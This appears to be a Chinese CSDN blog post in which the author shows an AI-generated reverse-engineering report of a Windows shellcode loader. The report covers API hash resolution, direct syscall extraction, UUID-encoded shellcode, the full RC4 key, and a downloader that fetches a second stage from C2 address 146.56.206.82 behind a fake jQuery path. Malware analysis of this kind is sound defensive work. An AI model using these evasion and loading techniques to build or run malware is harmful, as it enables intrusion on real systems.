最近简单弄了一个聊天机器人,用了ida的mcp,大模型接入的是deepseek-v4-flash,想试一下用这个进行逆向分析的效果,用之前人工分析的样本试了一下,之前的分析报告在这儿:某恶意软件样本逆向分析报告-CSDN博客

机器人的分析大体上都是正确的,有些错误我提醒它后也能很好的改正,最后让它总结生成了一份报告,总成本4毛钱,大家觉得效果如何:

# CrackMe 逆向分析报告

## 1. 样本概况

| 属性 | 信息 |
|------|------|
| **文件名** | `c28d23d8658abc1f5683c6b50239d5593eb7a274a3abec56124d7fb43fec1b64` |
| **SHA256** | `c28d23d8658abc1f5683c6b50239d5593eb7a274a3abec56124d7fb43fec1b64` |
| **MD5** | `c9c278232cc35489d9c700d6a7a40e39` |
| **架构** | x64 (64位) |
| **类型** | Windows PE 可执行文件 |
| **编译环境** | Visual C++ (VCRUNTIME140) + LLVM PGO,Release 模式 |
| **文件大小** | ~188 KB (image 0x2F000) |

---

## 2. 程序执行流程

程序是一个 **NT Native API Shellcode 加载器**,完全不依赖 Win32 API 导入表,所有敏感 API 都通过动态哈希解析获取。

### 阶段 1:查找 ntdll.dll 基址

```
遍历 PEB → LDR_DATA → InMemoryOrderModuleList
对每个模块的宽字符名计算自定义哈希:
    初始值 hash = 0x1337
    对每个宽字符: hash = hash * 33 + (char | 0x20)  // 小写化
    若字符为 'a'-'z',则 hash = hash * 33 + (char - 0x20)
匹配哈希值 0xD3C8C75F → 找到 ntdll.dll
```

### 阶段 2:解析 NTAPI 函数

使用 `dec&getfuncaddr` 函数遍历 ntdll 的导出表,对每个导出函数名计算哈希,与以下硬编码哈希值匹配:

| 哈希值 | NTAPI 函数 | 用途 |
|--------|-----------|------|
| `0x24A83A` | **NtProtectVirtualMemory** | 修改内存保护属性 |
| `0xF5BD5DAE` | **NtWaitForSingleObject** | 等待线程/对象 |
| `0xA9E2F1E2` | **NtCreateThreadEx** | 创建远程线程 |
| `0x53086EA` | **NtQueueApcThread** | APC注入(备用) |
| `0xAF63B182` | **NtResumeThread** | 恢复线程执行 |
| `0xE208B88F` | **NtClose** | 关闭句柄 |
| `0x2103F07A` | **NtTerminateThread** | 终止线程 |

### 阶段 3:提取系统调用号

函数 `sub_7FF67E0F6220` 扫描每个 NTAPI 函数的代码,匹配 x64 syscall 模板特征码:
```
4C 8B D1 B8    →  mov r10, rcx; mov eax, syscall_number
```
提取系统调用号并存储,后续可直接通过 syscall 指令调用。

### 阶段 4:加载 chakra.dll

```
构建字符串 "chakra.dll"(使用立即数拼接,隐藏字符串)
哈希 0xEAAA9CEA → 解析 LdrLoadDll / LoadLibraryA
```

- 主方案:**NtCreateThreadEx** 创建线程加载 chakra.dll
- 备用方案:**NtQueueApcThread** (APC注入)
- 完成后用 NtWaitForSingleObject 等待,NtClose 清理

### 阶段 5:分配可执行内存

```
NtProtectVirtualMemory(-1, &inject_ptr, &size, PAGE_EXECUTE_READWRITE)
分配 0x3AC 字节的可执行内存
```

### 阶段 6:UUID Hex 解码

从 `.rdata` 段读取 **59 个 GUID/UUID 字符串**,每个 36 字符,组成一个 UUID 列表。对每个 UUID:

```
解码方式(每个 UUID → 16 字节):
  bytes 0-7   (8 hex chars) → 1 DWORD (4 bytes)
  bytes 9-12  (4 hex chars) → 1 WORD  (2 bytes)
  bytes 14-17 (4 hex chars) → 1 WORD  (2 bytes)
  bytes 19-22 (4 hex chars) → 2 bytes
  bytes 24-35 (12 hex chars) → 6 bytes
  合计: 16 bytes/UUID
```

解码后得到 **944 字节** 原始数据,截取前 **0x3AC = 940 字节**。

### 阶段 7:RC4 解密

使用变种 RC4 算法解密:

| 参数 | 值 |
|------|-----|
| **密钥** | `53 7D B8 F9 D9 6A 64 1E CD 98 3F 3D 20 3A 19 50` (16字节) |
| **密钥来源** | `.rdata:0x7FF67E0F8210` |
| **密文大小** | 0x3AC = 940 字节 |
| **算法** | 标准 RC4 (KSA + PRNG) |

### 阶段 8:执行 Shellcode

```
call [inject_ptr]    → 执行解密后的 shellcode
```

---

## 3. Shellcode 分析

解密后的 shellcode 大小 **0x3AC = 940 字节**,是一个 **HTTP C2 下载器**。

### 3.1 整体架构

```
┌──────────────────────────────────────────────────────────┐
│  Shellcode 结构                                          │
├──────────────────────────────────────────────────────────┤
│  0x000 - 0x0D1:  Hash-based API Resolver (经典模式)      │
│  0x0D2 - 0x12D:  LoadLibrary + WinHTTP 初始化            │
│  0x12E - 0x398:  HTTP 下载 + 执行主逻辑                  │
│  0x1BA - 0x1D2:  URL 路径字符串                          │
│  0x20A - 0x27C:  HTTP 请求头                             │
│  0x39E - 0x3AB:  C2 IP 地址                              │
└──────────────────────────────────────────────────────────┘
```

### 3.2 API 解析器 (0x000-0x0D1)

经典 Metasploit 风格的 hash-based API resolver:
1. 从 `GS:[0x60]` 获取 PEB
2. 遍历 PEB.Ldr 链表查找 kernel32.dll
3. 解析 kernel32 导出表,按函数名哈希匹配 API
4. 将解析后的函数指针保存在栈上传给后续代码

### 3.3 加载 WinINet (0x0D2-0x12D)

```
LoadLibraryA("wininet")    → 加载 Windows Internet API 库
WinHttpOpen()              → 初始化 HTTP 会话
WinHttpConnect()           → 连接 C2 服务器
```

### 3.4 HTTP 下载逻辑 (0x12E-0x398)

**连接参数:**
```
C2 服务器: 146.56.206.82
端口:      443 (HTTPS)
重试次数:  10 次(每次间隔后重试)
```

**HTTP 请求:**
```
GET /jquery-3.6.2.slim.min.js HTTP/1.1
Accept: */*
Content-Language: de-DE, en-CA
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)
```

> `/jquery-3.6.2.slim.min.js` 是伪装路径,实际返回 C2 的第二阶段 payload

**下载与执行:**
```
VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
循环 recv(socket, buffer, 0x2000, flags) 接收数据
将接收到的数据复制到可执行内存
跳转执行 → 第二阶段 payload
```

### 3.5 关键字符串与数据

| 地址 | 内容 | 说明 |
|------|------|------|
| `0xD7` | `"wininet"` | 要加载的 DLL 名称 |
| `0x1BA` | `"/jquery-3.6.2.slim.min.js"` | HTTP GET 路径(伪装) |
| `0x20A` | HTTP 请求头块 | 模拟 MSIE 8.0 / Windows 7 |
| `0x39E` | **`"146.56.206.82"`** | **C2 服务器 IP 地址** |

### 3.6 Shellcode 中的 API 哈希

| XOR 后的哈希值 | 对应 API |
|---------------|----------|
| `0x3B2E55EB` | WinHttpOpen |
| `0x869E4675` | WinHttpConnect |
| `0x7B18062D` | WinHttpOpenRequest / send |
| `0x56A2B5F0` | closesocket / cleanup |
| `0xE553A458` | **VirtualAlloc** |
| `0xE2899612` | **recv** / WinHttpReadData |
| `0x4C772607` | LoadLibraryA |
| `0x57899FC6` | WinHttpSendRequest |

---

## 4. 整体攻击链路

```
┌─────────┐     加密存储      ┌──────────────┐     RC4解密     ┌────────────┐
│ CrackMe │ ──────────────→  │ 59个UUID数据  │ ────────────→ │  Shellcode  │
│  (加载器) │    Hex编码+RC4   │  (.rdata段)   │   密钥:16字节   │  (下载器)   │
└─────────┘                  └──────────────┘                └────────────┘
                                                                  │
                                                    ┌─────────────┘
                                                    ▼
                                          ┌──────────────────┐
                                          │  加载 wininet.dll │
                                          │  连接 146.56.206.82│
                                          │  :443             │
                                          └────────┬─────────┘
                                                   │
                                          ┌────────▼─────────┐
                                          │ GET /jquery-3.6.2│
                                          │ .slim.min.js     │
                                          └────────┬─────────┘
                                                   │
                                          ┌────────▼─────────┐
                                          │ 下载第二阶段      │
                                          │ payload → 执行   │
                                          └──────────────────┘
```

---

## 5. 分析过程中的教训

### 教训 1:不要盲目相信 IDA 的自动字符串检测

IDA 报告的字符串地址和内容不一定是完整的。本次分析中,IDA 的 `entity_query` 将 IP 地址报告为 `"6.56.206.82"`(起始地址 0x3A0),但实际完整的字符串是 `"146.56.206.82"`(起始地址 0x39E)。

**原因:** 紧邻字符串之前有两个 `0xFF 0xFF` 字节(前一条指令的残留数据),干扰了 IDA 的字符串自动识别,使其从 `'6'` 而非 `'1'` 开始。

**改进措施:** 当自动识别的字符串出现异常格式(如单数字 IP `6.x.x.x`)时,应手动检查附近原始字节,确认字符串的真实起始位置。

### 教训 2:多源交叉验证

对于关键数据(IP、端口、URL 等),应通过以下方式进行交叉验证:
- IDA 字符串列表 → 发现可疑字符串
- 原始字节 dump → 验证完整内容
- 反汇编上下文 → 确认数据如何被使用
- 与常见模式对比 → 发现异常(`6.56.206.82` 这种单数字前缀 IP 较少见)

### 教训 3:重视二进制中的残留数据

`0xFF 0xFF` 是两个看似无意义的字节,但它们紧邻 IP 地址字符串之前,属于代码区与数据区之间的边界残留。这种边界区域往往是 IDA 自动分析最容易出错的地方,需要人工核查。

---

## 6. 结论

| 方面 | 结论 |
|------|------|
| **程序性质** | Shellcode 加载器,属于恶意软件下载器 |
| **混淆技术** | UUID 编码 + RC4 加密 + API 哈希动态解析 |
| **反检测手段** | 无导入表敏感API、NT Native API 直接系统调用、字符串隐藏 |
| **C2 服务器** | `146.56.206.82:443` |
| **伪装手法** | HTTP 请求伪装为 jQuery 库下载(`/jquery-3.6.2.slim.min.js`) |
| **User-Agent** | `MSIE 8.0; Windows NT 6.1; Trident/5.0`(模拟旧版 IE) |
| **最终目标** | 从 C2 下载第二阶段 payload 并执行 |

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐